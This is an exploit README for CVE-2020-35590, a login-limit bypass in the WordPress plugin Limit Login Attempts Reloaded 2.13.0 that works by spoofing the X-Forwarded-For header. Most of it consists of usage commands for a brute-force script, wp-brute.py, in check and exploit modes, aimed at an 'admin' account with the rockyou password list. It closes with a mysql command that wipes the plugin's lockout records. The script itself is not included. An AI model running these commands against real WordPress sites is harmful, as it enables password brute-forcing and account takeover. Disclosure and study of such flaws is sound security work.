CVE-2020-35590

Exploit Information

Exploit Title: WordPress Plugin Limit Login Attempts Reloaded 2.13.0 - Login Limit Bypass
CVE: CVE-2020-35590
Date: 2020-06-09
Exploit Author: N4nj0
Software Link: https://wordpress.org/plugins/limit-login-attempts-reloaded/
Version: 2.13.0
Tested on: WordPress 5.4.1, 5.4.2
Vulnerability Advisory: https://n4nj0.github.io/advisories/wordpress-plugin-limit-login-attempts-reloaded/

The affected WordPress plugin is aimed to be a bruteforce attack protection mechanism, and is currently installed in more than 1 million of active installations.
I've found a rate limiting bypass under a non-default configuration, which effectively defeats the plugin purpose.

Usage

Check

./wp-brute.py -c -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt
./wp-brute.py --check --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet

Exploit

./wp-brute.py -e -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt -q
./wp-brute.py --exploit --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet

Manually unlock user

mysql -uroot -ppassword wordpress -e "UPDATE wp_options SET option_value = '' WHERE option_name = 'limit_login_lockouts' LIMIT 1;"